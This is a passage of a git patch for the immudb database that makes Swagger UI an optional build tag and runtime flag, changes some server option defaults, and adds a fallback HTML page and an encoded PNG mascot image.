addr string) error { - statikFS, err := fs.New() if err != nil { return err } From acb02f8e93e263c7c91ccba2b457467971da5013 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Tue, 21 Feb 2023 15:35:34 +0100 Subject: [PATCH 0243/1062] Added basic swagger tests, removed bad default values --- .gitignore | 2 +- Makefile | 22 +++++++++++++--- cmd/immudb/command/init.go | 1 + cmd/immudb/command/parse_options.go | 2 -- pkg/server/options.go | 11 ++------ pkg/server/webserver.go | 8 +++--- swagger/default/index.html | 31 +++++++++++++++++++++++ swagger/default/mascot.png | Bin 0 -> 28825 bytes swagger/swagger.go | 4 +-- swagger/swagger_default.go | 29 +++++++++++++++++++++ swagger/swagger_default_test.go | 36 ++++++++++++++++++++++++++ swagger/swagger_test.go | 38 ++++++++++++++++++++++++++++ webconsole/webconsole_default.go | 1 + webconsole/webconsole_test.go | 1 + 14 files changed, 165 insertions(+), 21 deletions(-) create mode 100644 swagger/default/index.html create mode 100644 swagger/default/mascot.png create mode 100644 swagger/swagger_default.go create mode 100644 swagger/swagger_default_test.go create mode 100644 swagger/swagger_test.go diff --git a/.gitignore b/.gitignore index 895bbdef10..bbc1f8e449 100644 --- a/.gitignore +++ b/.gitignore @@ -49,5 +49,5 @@ token token_admin swagger/dist -swagger/swagger +swagger/swaggerembedded webconsole/webconsole \ No newline at end of file diff --git a/Makefile b/Makefile index 4b08835e33..3d0633e793 100644 --- a/Makefile +++ b/Makefile @@ -47,10 +47,15 @@ V_LDFLAGS_FIPS_BUILD = ${V_LDFLAGS_BUILD} \ -X github.com/codenotary/immudb/cmd/version.FIPSEnabled=true GRPC_GATEWAY_VERSION := $(shell go list -m -versions github.com/grpc-ecosystem/grpc-gateway | awk -F ' ' '{print $$NF}') -IMMUDB_BUILD_TAGS=-tags swagger +SWAGGER_BUILDTAG= +WEBCONSOLE_BUILDTAG= ifdef WEBCONSOLE -IMMUDB_BUILD_TAGS=-tags webconsole,swagger +WEBCONSOLE_BUILDTAG=webconsole endif +ifdef SWAGGER +SWAGGER_BUILDTAG=swagger +endif +IMMUDB_BUILD_TAGS=-tags "$(SWAGGER_BUILDTAG) $(WEBCONSOLE_BUILDTAG)" .PHONY: all all: immudb immuclient immuadmin immutest @@ -82,7 +87,7 @@ immuadmin: $(GO) build -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immuadmin .PHONY: immudb -immudb: webconsole +immudb: webconsole swagger $(GO) build $(IMMUDB_BUILD_TAGS) -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immudb .PHONY: immutest @@ -217,11 +222,20 @@ build/codegenv2: .PHONY: build/embedswagger build/embedswagger: rm -rf swagger/dist/ - curl -L $(SWAGGERUILINK) | tar -xvz -C swagger + curl -L $(SWAGGERUILINK) | tar -xz -C swagger mv swagger/swagger-ui-$(SWAGGERUIVERSION)/dist/ swagger/ && rm -rf swagger/swagger-ui-$(SWAGGERUIVERSION) cp pkg/api/schemav2/schemav2.swagger.json swagger/dist/schemav2.swagger.json cp swagger/swaggeroverrides.js swagger/dist/swagger-initializer.js + +.PHONY: swagger +ifdef SWAGGER +swagger: ./build/embedswagger + env -u GOOS -u GOARCH $(GO) generate $(IMMUDB_BUILD_TAGS) ./swagger +else +swagger: env -u GOOS -u GOARCH $(GO) generate $(IMMUDB_BUILD_TAGS) ./swagger +endif + .PHONY: clean clean: diff --git a/cmd/immudb/command/init.go b/cmd/immudb/command/init.go index 669136c646..4c2ec9de07 100644 --- a/cmd/immudb/command/init.go +++ b/cmd/immudb/command/init.go @@ -85,6 +85,7 @@ func (cl *Commandline) setupFlags(cmd *cobra.Command, options *server.Options) { cmd.Flags().Duration("sessions-guard-check-interval", 1*time.Minute, "sessions guard check interval") cmd.Flags().MarkHidden("sessions-guard-check-interval") cmd.Flags().Bool("reflection", options.ReflectionServerEnabled, "GRPC relection server enabled") + cmd.Flags().Bool("swaggerui", options.SwaggerUIEnabled, "Swagger UI enabled") flagNameMapping := map[string]string{ "replication-enabled": "replication-is-replica", diff --git a/cmd/immudb/command/parse_options.go b/cmd/immudb/command/parse_options.go index 9fdd27fa90..fcc038b617 100644 --- a/cmd/immudb/command/parse_options.go +++ b/cmd/immudb/command/parse_options.go @@ -82,7 +82,6 @@ func parseOptions() (options *server.Options, err error) { pprof := viper.GetBool("pprof") - gatewayServerEnabled := viper.GetBool("restapi") reflectionServerEnabled := viper.GetBool("reflection") swaggerUIEnabled := viper.GetBool("swaggerui") @@ -145,7 +144,6 @@ func parseOptions() (options *server.Options, err error) { WithSessionOptions(sessionOptions). WithPProf(pprof). WithLogFormat(logFormat). - WithGatewayServerEnabled(gatewayServerEnabled). WithSwaggerUIEnabled(swaggerUIEnabled). WithReflectionServerEnabled(reflectionServerEnabled) diff --git a/pkg/server/options.go b/pkg/server/options.go index 61a7617a8e..3ea9deaed2 100644 --- a/pkg/server/options.go +++ b/pkg/server/options.go @@ -72,7 +72,6 @@ type Options struct { PProf bool LogFormat string ReflectionServerEnabled bool - GatewayServerEnabled bool SwaggerUIEnabled bool } @@ -136,9 +135,8 @@ func DefaultOptions() *Options { ReplicationOptions: &ReplicationOptions{IsReplica: false, SyncAcks: 0}, SessionsOptions: sessions.DefaultOptions(), PProf: false, - GatewayServerEnabled: false, - ReflectionServerEnabled: false, - SwaggerUIEnabled: false, + ReflectionServerEnabled: true, + SwaggerUIEnabled: true, } } @@ -458,11 +456,6 @@ func (o *Options) WithPProf(pprof bool) *Options { return o } -func (o *Options) WithGatewayServerEnabled(enabled bool) *Options { - o.GatewayServerEnabled = enabled - return o -} - func (o *Options) WithReflectionServerEnabled(enabled bool) *Options { o.ReflectionServerEnabled = enabled return o diff --git a/pkg/server/webserver.go b/pkg/server/webserver.go index d982a5c4f0..a86a012f1b 100644 --- a/pkg/server/webserver.go +++ b/pkg/server/webserver.go @@ -34,9 +34,11 @@ func StartWebServer(addr string, tlsConfig *tls.Config, s *ImmuServer, l logger. if err != nil { return nil, err } - err = swagger.SetupSwaggerUI(webMux, l, addr) - if err != nil { - return nil, err + if s.Options.SwaggerUIEnabled { + err = swagger.SetupSwaggerUI(webMux, l, addr) + if err != nil { + return nil, err + } } httpServer := &http.Server{Addr: addr, Handler: webMux} diff --git a/swagger/default/index.html b/swagger/default/index.html new file mode 100644 index 0000000000..95263e9f15 --- /dev/null +++ b/swagger/default/index.html @@ -0,0 +1,31 @@ + + + + No Swagger UI enabled + + + + + immudb + + + immudb mascot +

immudb was built without swagger ui support.

+

See here for instructions, or download an official build.

+ + diff --git a/swagger/default/mascot.png b/swagger/default/mascot.png new file mode 100644 index 0000000000000000000000000000000000000000..0210168fd06a3a2b7965d6e3f1a0b2a3e32d2f75 GIT binary patch literal 28825 zcmb4J^-~;8w8dEnwu?I~iw1WKEU>t1aM$22fnWYLri?9s2_R_=!=;trhZ zpIG@=_$8%iK+oKhgzK#}yiG5lkv@FNyz0coH%f?_qD@x$1zvD~{J;xZVILh0U6dDm z|L+UsO+2g^1%&}c8789_uyXS0RAWb+D0&*q#GLjxsA1ZMD__&k2EYk=e(P_4(ysnP zhl+JQ`t)AO;qAo084IDnpWuJJ&xbRgy%Ptst<_YvlHmmcK`j32=sIB(L&ahE5!+Hu zS{&K%9dvpIma{2QrGVrAinlU6He>eRB4WG5Hz|ueQHYxFNC*hoaK4T6^U5f#B?cmX zqB>d*EDSFtjHDasN*EPY5?xoH$-NQWm&r0l!>6oEi5!&Sbm8jPV3SWi-Z+pMM?`wC z95>Ds6^+ALm^`s11<%lGBFC!c1O?R$?`t63e+Hxubspj9`Qw?epY?qY%C; z@cuy|*%;Etj(v$D0~n%8E1KS*Rjk+~&zKflpx|hhDvCKL@?p+FYy{^v>yG6$NbSMv z1iQ5bi3(X`&QtV%Ii$qhpL#OGGllo_f-8vdVUqC zIhxQ`F07u!;lYi;c2r7Gr6_HahRI(3der(GUQ z`eEvcR)$csKxOJI-JtdEVJO7fvgg`%bM%E^0S%$(h?Aj*uo+)pV_KHL1l7m58ce>6 z_%JB(*8M^lz<5wlO-uK?JIX-Djea=b3_bhYi~_=H?>U8PwO2b{8!B2y$}eL^a)l#t zJje4ZyB8JiP{&8SE9RD;EshPd54_DH$i^viqVr(MQ8}$Txh>}xeUM)_5HZN)-(_qR z%NzD40<{qcG;dxpfOjatGBSrX;VFJB&>`{H%CR4ZKN;sNql6m|EQ%d2tnp6Hl#Sc_ zRCPj_JWceCrg0IQA{CM!B!Jqu`QMN41L?h}MTmg{I+=nHacp4!zd2PyJva~1aKfnXOUcan^ zFsdh^)Znmw``7+N(I3PPK@|@BexAb{HDk~hEgOT8Ct!b4kq2~hk?}h$HM21I z#Ug_FYar}DqJF8N;#u)S^DlVLwH`8lj-3bp8ZZ4iDp~4L@U>$w(IisHhwW>1F$qoD zd~taDrd7tZOeIJ^yPHlsZYMkvpc3@{kOiM8ab{L{E<^2UY8pFRt9_bOE!u+YB0?Ow zCU*2|D(5}*iTMW89AL71z5gk-A@@+pGG}ZdweP@HE=e&=pzrqSgBp@<{$>2RXi2lf zo3{9~8%exfxNk>PuE~r%n!fw5MVuD;i$`E3>U&%F?|waA*5!NzgkH%8 zQpoN3y@I-2t%Y4MIOQNeyRFCf%Wf6w%iywrKL(90WynSJNc83~UO+1(S-}eS6?_Y< zc^Bn=+gf(^@2rWp?ufQ8-s7@3TxAVh>7EUvOe}qII?fd2K%fBp_+}?HWjLU5ot_-)T<<0zN zFMBE$-c1x$ENumDqkLi@)12nfPzZKAlUB4=f%*@&!7uHIM&EI(ETK<-kJ<(La)V!? z4!1H!SSRY0Yj;*Her^5Zb!%1=6z5vHCT_s**S@N*$b4LOuAH5WM%LP4usW=ub)93{ zG!y-i_TBiCeqPVjdT&d^F<{5K!$ZE=<9_56I~C%^W;vF#V8MO4M(&JT|57*SM22vN@s<3mTaIgq5@mz(8kEVs9HpuqaFVP$$i2CpXbj`R@kyJRKt3Z_kUdc+K_ zd-OP$RldbeU%AkS zdyauJl_vDxk6}h;;K!61QyQkNaig}Q_tPx1PFg2o!mc^X`KzL_7_9@-zT0(T=UFV} zeC8%qt*v^0?+noXbkEukE1=b6GnMm&w^rZxEA6fdC_&E|8Yze%IYR}_o*gK&Gd?uM6QV*;(U^YVrTQ4br^&Sje{uocCmbxbcgUU^e{4OAu? zluNyMtxR2t`8F-u9?h_PzKqNyQp6|N6wyh*!e5X#7Odu-?V*4@DqjrpEfs1-b%$1 zF*zgIxAl=amA{QF8xCL(Z%tO+1!eQd4c^$0_PzghW{v8Q^zlBBe*$q{lP3fpyh-W` zzO8@Jy{7I$wog8u<&%NdhfQkJyg;TTtYIhu4aPn7;NP`Y3AX-aw1by?)DKC)BI2Fq1aUX-qo@hv5f?x=FMad}TibPOkU1<7d4Ct8uZ z_^w`kG8%{F+PH(j*J}Vi$F7OA_^lA$HIlmIWL>Z}rS@T6a#mJWavRuQy*N2tI!tSjUls>0Qh$KL z4Z}=Kr2A4|%pUxJbGOv4a$D$0t)07W6|vX_7f<((%MV5$NcO_c;>Sm~k3%|sxdCK-;a+FMY|q=L32rsz)&FZTO}0r0E5-sTTdcrMXj_uyh4zGdj*THq~v4< zV*XLVMs(dX`++x;Xc}v!7}T5ZaQDIk@L`gv8-0I3)$eFaVCfl4Zr-65GUcQncRsx% z&IO20EJ&D`>IrNSjr4r2TWz#`#QQK9>ZVg44poBQzCn}uz=TEPyO0jzv)g;?2gzy= zcubFVEE$p)U<3?Zb>5AAxl2(|AG3LlvW*{(kYoTAyy{dTaW?NtS7IP8b~85$mU;@< z{O{pQJA)hncQGOSdAAV4@IXW5l7}`xjl)qb@VTY3^XPID_G9srm$&c?!l5O|Al~ck zBLE&O-6%@!L+uL!5(Sc5e54~HB(!9rI2F-#Na@?^g|+p6%Q1!hsd?HJsp>Rsmfw>q zo^8i>!}=GBv3*5>D2EQM`)|}YDM32%XEF(sv+{1Pj$A#ZexVR+1#@bix4;eUPA7^<%$ul|9{x4!L7Y*#Z6MEqNP=WQGnz{q$0M2mqo zQ26rRjwu(>#PGHK+b@0h38_R3A{S4*H=d4FJxL9+2tD@FQo>U)wqE)x{r=!rUh5S6 z!c(h|XVVK}(T6@vLc^MbekQi@JovTi^#+e6a8~-=d|A3r^!31W*R+&zO+B|8>cwRm z@IumlYENtKv{TpYmk{0IVf0{FAwziE&$~zV)eS%YsZm5>^)RV51`JX1T6XiNf^b{l zbs&>KankBdoiMOB>rS7lD;&0l3sRg-7Z^;A0RDuCr@!fX$T+10?F7> ziBF64^v8e9N83ZF4>d`9m|@QZ{ysR2+l_$>>KItDs;j9fNM<6`0t74Y!O#axvnbuu zfqVz+rdlFg=&8Rmf=VGJF3n#qz$@)k>fC^ z?=lclVn=CR!{-Igb^|A=B_alYEx`?%teiVq&3bw-6A28Rmz3aIHTW1!MM!mhM(f=V z82?(uS;=`8-AWYTiV}s1>Yk%-es+bnxM0e^+d)O&lOo3hsq>f^Be(6a3lj1Gw7_0rgFD_*>uhMIXCFz~={&=5CipPRjEA&V~Y1(gZQ%*m{!K^E*A)`TDh<(rzmRxD=M0l19TUa{}GDiA>UB1E)h1FKI1NH>}$WjPzoqpWwu8ndX%z_Xe<01G3M*G+`BI!xmH@?rI^PcES%P%nT!<9!5nw$T8F6_wwsi6O5N8QYwb5&6Szdr zlO5)A+t~h%mjb>Q`1n)J`%jsPi3$zj{M$t2>?5xJ|NRHy{Cm;Uza;p(l?t4XwCf+V z=ErH@znq&aDV;v&@`Vr`Y^sbvK-y%~y9y8~9>Gy=dwz0KD9t6!6zRXZm-0=?z8!AEo8Sw981=wZwJ+YM<7qqt9e zeOr|WV_$@sqlN6N}ote|zFSGN-k^rXGOirEfk0Kn9g65|&WF)RZ%S|eI9&&XDk`OID{Tl)4d*R&pSqh=tK~&E7qqfWFI)9UbG6m(V_4Y_V%m{!J4M!y7|t z|A77JQkSg6)8QhPuSfyo;S+{FyNsrDSq4zGWmU?PCC4O-$Sc;<1Zfu*M#MJ}hhOs} zjmDbZtdCzIkN7e#2ys4M9WL@{4!h9ltzoJkVaaUbRgd~W$sr!th5!BpX;;Q};8jDG zPWpzy*kAaNf!5rlKQ9fT?-QOv>yM-&wNp;7odcC=!Wi80NfY-%h?WrFvCvah5x0Ds zd?v^R6jWs!%$xGTYn6%O>rnHC1M@Qc4o-%lLwTi5u_@!bfZ}2QGQ5s_G-S{;w zPUqCeW@ap$0EdHqv3hog=BQFNs(c_RG5Wbyfb34giKPZ~9_>|&+bb$nxq}X@5x`H) zAvUgw&Z5b5ERurw-+E1o%<5IDWe|^fa&EMuOu-T>qmMpuCU&eYS(eKaD~#Y~M|+WR zM1QHwK}y(#F;ZRLh{?LtL`f^9@Q$z9(Dx<^ApXj7nOhzG<65=r&t$PY zKwB1K)(B}d;D`#W4nr*akP5~q1wV%c_&s$d!KqtYt49+m0+uHB{JInXKO~j(-d_;( z6bQMchc@b6luw?e+P-9nneYo4Atq4wR5pTYXE*=8G!8aY%%(Co!3+n4#My)rYCd2Y zfZrdruF@YrhX;#dTNpZG)bC%FwC6iBy-i9kl3oxQ;}@wIwl-3sBcqkH{4t7{IaN}6 zy^^@YI}moV%}6(aS!p?;d9}w6g@kB=&cxkUPjB0}?)W$V*ze>%`KqrXVmGes#zCUCtGe&s9AK0?<57XG}LM zX^o_gDi87ey%PRG&rSx<7M3u8+3``Byt>EqFYuhiOFg@9gn92C*SiMHgi+VBb2rsU z68eTP-Hi@yn{k@zA8o9V`J;WqUHZX>B>M*_H&`Q@DX2UCW_x4Y1^WYq5WoOceaT@LuCAy zzeT%@tk&{e|4cWAqa#zLmIERWDE|GI2pnymRfakEea(yz6or22{EYHWHc>(n%gA@y&?mW7KE z_qb51vMd_k=V{jXicDR@|m3dsKUj)kcC#El#Kfs;6(_AG*T5^J z7K!rptFd1;HmWURxg>!^2AgQE5@Ibbe+Qj@Vr^|`PjxsE;n*3gpzlI}V3-e)5hwGG z&l!#AZ#%$ZMZg1d(bM-eABSKJ07OUJ&^L%}cQ@kd%TIaGPxPdEIi%*r{!K1)a)1xOWa_p4rc z9U0-=-2QkQu36M`V71K0*8fF5T>Rc;8G5#zp=>y@8Yb3vC=)sez<~uq8c1ia>r2&G^M{Q1bsF;ZSEpjg!27RE zO3?kKP=jsQdB;U9E=UM0?h>nLh!mVV{1!C-GpMw_ojj&`K3ltoJ=Rbk0T86!O*LX# z>wEu265oj1edm)@Zx56z^zrWZ`eg@6tm7&uxt=r7&vK7ZDWmk;k%VZLcuTk)GiI`@vI=fcEY~)_Y?Y^1ULPC?meCR3SzLT4;)?Am-zJ4X--%w@BLW^p-@Me z5H*45F8i;4`j|N6dfzUWbq1otSFn;6>X~9-{ArLU7h+OkBjh)KnHH{LfshF#ue%Yb z9YbVG6Q=SeUES#QZ^=%DO$ISpE_(*>8Wp|aDlZh&Sj`s>x$hd{W1O~zI%B>?d={`0 z$jSA1i4|_1z!m*H13u3nM^S=}59BxZfN|=>0IJr)$_QI@_z?K7z>|yJpLIWq{tUWL z14rM_hhMUv0<4H@4Nb~#K$F-fujLa(w5pitb-reZ)#noWP6C~6hU{jmfnyu)Kc{nI zl&#fS{c79|Qw0JGBNCQDv;u+NsGfU1>_cM`5nG6`y z{Yc}oBP#sTiICog@k^8D4w9Kkvc;9CA^QvWTPC4Wlt`gH6h%j?K^kSm=QGiq5^h~> z?C)fr(rm3xdFdWHla5>}B5p?3Fcp$J-~3Jz?jd^&s_L;3vjOeFXolFoH{976wO5I$ zVr*1d%3#w8IxUwuOf>89^tW6pb!0@8ZJgQ)oFspQ9-FvW-e(Om52*>xBQ_yhwYgb% zLUuN5C^yCJQ}Ogyq6W~ zoQ!yVpZ5X0l}FQi13kLv3;0X&3s5k%@s?6UJ&=`|{CN+Y^yQxdC^9zI&pv`-Z0Z*z z$-OmC1)BY`O^Quufs_>!%3S*B%tOPC_Qf(9Au3Aks-GZg8BotlVl-@7Ftt|k60Rh~ z(>#FjLb7v$c#I?rt=iY}E0cM~Jd^Gam7sBu!_>C#U;;k{U2X$sg9*#5C|W*(UB^26 zRYQYXN@N5gQv*bXg!Vd&B(}hZn2D{eJ*kO71Vp@3R&00pTeg9d+Nl+vh>dU%Ip?>G zGR;}WRBfD2stO41s~0Z__!0#USuKK;RMByzF&9;6R_&XX>WnEz#IJeOjQ*m5!6Y^l zCt047EVCSk*fpMX+rLRc?P%^QW9geU#Ur(Rmbyshez%-zd>n4(VX#{moL836jg;dZ zu^qs1t@h`cnQW15q^4QEgfkY^8+9RL$c+vkb{nCT*lY{mxL;MG<|bFyFT?DTVXfm}?s1o%4E9=M&xQqmhgGIs9!Ymx)HR<*Pkwz!XpiqeLf zJh;D4VytUQ_DpF zbk=`KMThBwsPDZLF!2vtzV_rDGnygceCq`&xgA{xED;eiurGIKTJ4k_==>D~&}ofZz<(?+*P#-Q5H_*YA%c@*Fe<8Q`hMH1^3 z_Aw*LMKQmfM)4bZh;|oL#lK1Z_0+8Iz~Ag#e8LlIJ419Aa_uf6EJ_+|B#qgXr9Y{PA!YkjIb!`OIg5LWBY5%2+^ zs%p!ym=>=a#agCookbB(3?_)Iof|%Y>L9?W!CK?^v{jICv@|>S#C&UITh{ORXJ2;C z3`w(*o1m05*)@a@#TrUHE4^*Qk!>N}XBeo7g2hAD7E~tVsMix*>Q1K*&u=gT&j0#v z#Mt*9ga%_FX2kgm9BY$Y16QuMmeh8Ba;wfEnT6Ni@q;topz7lW@wl0q#d~Kl;Prpz zf8AoM#~!y`n#{5fHQ7SH{yeyJRIq>la$v5p?s-iTR`OW`IJ=ZP%wygg=~9x>p-0K6 zJG1J!6HPc9i%k%d$ta32)W(S=Q|^0(r91P*kE&CfsJ~&v7}1`m7jQ_@@N}t&e4{+4 zALyJ_8s35X;|!_HU6s&Bk};A<9cG?{hA|VldMctWSz9V*aAOfCX=|*)HlFeq7tE;= zF~>d|Ehdl&HZG14q{tz8_;n+3bE1KXNSHvB*qQyhtPBHJOP~k7RmX2(bwwksRRH0G z3(@Dm_E<7qt;@5$p;St|pfk;!715@*w)@}a5V%xd6{RK#eo@_0FaD{oU;32-M+@*6cCwCmlANC+l?`^(*+vxgm zke@*0S={@rRuhINQj-`~lnx;Ru`xfmU!{1UUA~xE%P}r%0cR0$&EIr(eD`XO{qanY zi~L27V*sE?P%ARE=il8ZM>Jo~OV#Br(D0JJm|N_ssh3)bbM;4KETz+ySZ*3+-RscV zM%#>-a@SsJ?UBUV4;jqU_S;1&bB&OcAt-ajvBh@ zrx((DMLwWyrSgs*Vbp=4&!$UFrc|iHJhKwWlkCR6aAIRoYH_G zgaG&PwdYO&zUjxIf`!X%=rlJOw5at%ct;_SL`Ia{1~vbhN{{9hy(ayk+0+aFQbL%{ zKO*gn zn<=pmwv}yI4Mhc4w^Cp5x~~9~Dds??H2>oC!cghyySSC1gl(?8t2kKQM(r|Xo6BWY z^hEee|9vNX5qjJux#A`Q7gb=Die*2ctNh@eDmc2ryUH+gwWL1#6T==Oo-aR`y6i+90wWM-kC~{+4VL3;4)kFc^S{kd1;a3IXWl z-#!HD1?7x5EU1Q|uUyg=EmYaiNiQX6z=#--R1BLx(dfeH2zrJ6SqDB(rQYQmZhvGt z%4IyEVmcS0#7OE9g3TK+wX;X_GFr8T?`0#E%N^QjL>(aBP;gw2znQSji7yxpm2Vas zjZYALC6GDFr?lpzcb|DKAvq0*8B^IZbT(|Uq!Ej z2vBy0t!dB<;KyRQ2SQjHy@!UZNgV`ra5c9ba(Z1cDGmt|U^6Pa!mv$lVdKv__>JoD z7(NQ3BBo}=F__EknWaD$<$!`a2|eS-)Xb~HUz>=mcJ9yHZ8(7Mm@Pc2ak1VJ`r6H^ z{Bf)Y=cwq&nlPxo5s?hM2Ep4F&Li?$j7-iM=Z%rs3O}0q(6EzWzObma1J5sYA#gL1 ze!u&yy^k_Z7`&cl6UIH|Ay#Ix83XxsR(3}#PAZTe!8l-$6c(Q|ALWfp6nVkWXkGC1 z`@8IicVmdf=s!3L=yZWWa-^*Vs_zZax8?O0)+@gAGRy`~z2a}A**E~G%@YYi3k8Bw z-{OTM99t+`sv!8D1PpA1X^30t8PF37<<|L|Qc4-4oNwNLHGUAuOet7uVGz2X`Iu6@ z8p*DoZ2b~{heB1ctWOmYQRbF}0zKpsFJT;C3=b=mLsHI;*HpAt0X+nTsHbm6?Seqq&mf57;_;uJUxxK+%bf|F#>oWPj5OOF6`*zC_~QNIyfec~W%ci|>EV7lI(gtopli%oWmQg9=glcd>f z07Oz$()pu(pu<;Mb`y04!OQ&2Stx147xtngqbiC8Qag-eY@CB*%GYedz~`{vh_kjQ zLm&o%iUAQJvZL3~dXZzQP>A^DcHs3lM{k>PgB!0Qo>9LK_SR+q_VAq`hpU z9Z$AAjo&yi17@tbGXdaPeT;j`F$NKIZ_N+gmNZG<&dBtaLkUN^ zqlP+qYn>@|g_Al*VkAn<*}@GpE7P%%^1Bzop??&H0AKO{sPISNr)AYF9-2`Q$LpI? z1XQrgT7s*2`y2I=<%#64+b9{N^pxlX<@O~60_QEZ1!-CnmMVT9Dj)}cX4=o_U{o3g z;8V`_CTGxhsqEqu@Ot(Pn{u|=7*OM(0>1F-pTlEzxQ;wZUlNeS`Xu1`kFquvbzUIRT*!JYztZaIZ9 z_Pl_}TB}?vU2yj0kZD6^l)IZfPNPIJYkgt86W;8qgoVU5aIh_;#?RvxP61bcU9#@a zMhA(q^GLBUQT3Fo!9^0WXv~zlwIHkijUX(4Y2i#rY=dq@2#1Yw_bnyQ-VnwJ&1TSFIu%p!Kbjf|x2 zAY!=Z^Ydm|b&ta;2*bjY_P8r0mZL}~b%yRb(dHK&&Z8*qIB&0+P%uI+C!>crTp?d| zUi>FSCljG2K{veJauTyrOCg3)PpXCCW74%7oHnOgVrG_?=`#~4>~WsaU3aZ>zuz$9 z7`MLWtiR$*e=0$b0s!_sy`=)a5qC&e+F?*7qEgm+ZM)fCGOu+ zP%Y@%3h6*$G0h~OU6KnFL1+Y|BoKaho7>mj2L_5ce;j&pPMR}Qq;Af<53_qHtY9eC zU`|_{V8Fnd_+znTotTUKe1Y8xH|e?HIAc`irqf9gas_WB;O)7vxE;(}2}QKH;K!>o)62_vUjrcm)GCr}`$guWHP{kxMnxXJ}$TI~O z>Pv3EW^;4)4RTG_{sUz5cw1v2nfXu7EB|A&FFj=|8QScINf!-h5oIB#r+d1herR86 zw){eV+)Jw0ogB33?qMf#Pb8`2S7_pni!~r8PnnhH%EH(G&vXaf996?Xf3QU|=o+B6 zipqF9;Te)OZqGmD*bGoz5VQT0jzXI%e%tZjR97$fPq6V3$jJDvvZQx*&du?p&$LlS zf}AIJGX%Bzx4GR?k|||+7$8y@8er-zge=%}>NY0>-VNZabK_Ysxssf8=O_#U41W@8 z!QY8UTML`_xv@zslM|+4Q@HN`EwAJ!yOhae2@6^wa-h=-uM~z_;+ZU1Mo#l8DY$gD z8d^JtT?BiRy%bleNRdr#z0SZ-eP~s9pArM-!vXcwQ4tt_GznqDi%R89=Zf|%)aLk( z*^;9kSlJPV40z%w{eMLl8mVF}o~R-a&E6THo4hLW89a@yLX9loRApH^ zT?k7l^NSAB#ArH0m!fsuC)WFoZhJy`(Jumk_TwWNIL!)ksZ>JNu1XbH;q`s5)fQIF z`P^H+{O`}k&7X2sZP_T<0Z8mZ1u71%Sw2Rr@f!>U+Pg%Q2r~jgT3j$uj#hwn>bpJu z-@Gu(P=^B*$_x-cNBE%2vOV3n1Xr;^2; zSsUjR=&r_=+|`cj#k+PlY=I_iQ`9I9L=jz-FTg2XBUmZX4;Og-lGSg&ccQB$LNh zH;BJuHNxvLPaEh-;kyg`$F;S(n}^#EY!rp1A~af1!F$GL7#wet zBnXb{Gh`27@W64ovqo9tz$!EnjXSEJ)J+HaA>+mU=ErpLK9pSTtfcLhW`CB|&MA9i zaQS(3Uajd^Lm;y2yY#PPp@h)Kuu+60w} z71nyc-_1(NY2Q=p-e(I6Y_T!T^STI91vz2t_gAti$wsv1pSmi+xYJNro6k$+oQ`38 zuF>+yq3#uw0C_W<6BLgW#{l!*-Vebf09#Lo{^;&HhtS=06x=_C%H(yc@a(xQ+vx8V zy+8QPCiunT5J<+~+3tw8RafWVOFw zI7Aop3&AS%^C#-MC4Vl&M*eV8=uC=ZPKD*~iT*CLbDL7>9P!%2Hh`ir7=qAbAlA^snvXLBfqkl zJ5jC{+{7f}*hio?StKm%M|>QeiDjBc2}g~svbO)b91h5fddLiOh#0v`zf@JPH*r%r zeLU_mF^q-KWd1EODM?Z=yzvoO(fuQh3|&0#E%>k?zci0@OM~VjUS+P_9#K&&_hqnr z=+Qy1uH6X=BJ4jFSl>l&>&79YA&4QYr_XzwUTyJUP7<7*uJZ;pjJ@d3jR0jlbo9ZZ z%jeKFKYd@;M?6u1%`>{U4h9ZmEoU_*JUNbG*VXK~N@^7m3id0`Y@hgdCL1!1--|Il zz10*Jo)zu}!_H8&-0La+!m|U4oje??^0p-Y;K~a&y)j#|Lp?6fNT_$e(|qR3ezuT`Ef8>MN26^RjE^hxc9 zPIqbLuo>7JD3)f7G}#FGMmv#AIvmO}5E(F;!-a1xL+PkrnWuM%T~@;OQ2w8I+i20W z*zX>$w*Puc6DZieowWz2N!?<-C38dL7CM86iF>Q=*@t1m;yOs4>oNicM1x2SF_W=c zKfXT_5z33KdxgLWlG7)|Q8fAY2B%3W$z8fRJ+kn1)}MDPHB)D*RFcUO7g~!5Y^|*I zBS#su+@jH;DTdjw>n3eNBRKhmr#DMfj*~lo1HW8Ss<&;mBFtW2Zni})Y3Sp069fv7 zT&ht?*Yg}@U~y7IU#qB`PWNzR8qg~@#?GxDOPta4)xT!H(!o%)O#g(HD)@r8fOVlyH%Y_N@E@YdSwL5n=gF0lkFG9S&nS5zb z(3^@I*?XOZwGbkJk4qGTccDd3)lB)%y_&Oa3$tRABjA(80}0cZ!&KZ%3;26=rT;KD{&w+=i>mhaw;SdkIde#QD`wL%KzUjC_r>9ru&N^3 z(Nskf^L_l_IdQ)fL1e+Zw`XsF{a3{Z98yS%={9P$(yy#e>mP*Mu5A)@-eo8B!^c8UL1i1sj?@sf6PKZc*^U?uXa~jK4kp!>Ow^*+~oW`N_a$#+$Up9Jmst zIUT48B)ryqS<$WHMC9hK%jS^?wjatn&YgLp&b&Jkyu+wya3vvz|6G*#_DwT8gGM@e zJP{{X*?fx?B+ni9o^G|_F#ELVs?@H0`&)iTRd-@Ly()6u4I7lMQjer*rwX~_{&#(4 zGg~PNvF`;l6Y8C*hKP(U{93r%GPm&;+a9`;1aT7uTP>1RTQvVmqW*qaJy_tvkRWgr zLnVhIr`d=thu%_K_Dn>h-Zn13DQ*!BJCTFC*-)-{5d%OzYUTQ29+}~FcuBro@#^)8 zMdt_k;knU2@FMFoWH16FgC~Cbi=itq9m!8lXvP9wE39P;UK&G^{u6z>jMb4WIeom| zNr-b`V>YMv{i0oWxg5Z})`xK-K3x|HXJiThuVQrD)u%F`mS}4{g!NIi`RB&Zm-bUn z%on_WhwsbnG-J3yBn->kt(w}jSWVMANgw`h<>6&RKaT-HcaVD8$c@ z%Wsp?m8b{QYQOq`GXrLjB9VEqbzL~3zaXL~B#%wg5tN4>|kH{xMIO6X}Jc3#g zQ5?`HVVSU7*oc1-sX2TdgssjuDdK}S#%j>Pky@_;J%RC$13+2LFA-)xU>rPYbdhto z3I58_kf%B;#wPy}s;6~1?6FBx5@oVq#1*LTNGuGN_2!HrQ(H)X^T^@=MX+H>Zqp6z z#U~i0)J9NApkW;`3%T zbR=LI=yaGB5bzP}SNx9~{Kt}C=nsNf=^T*7a~SWeTPC<~wY};aQHWz8Zy%b-`=bRe 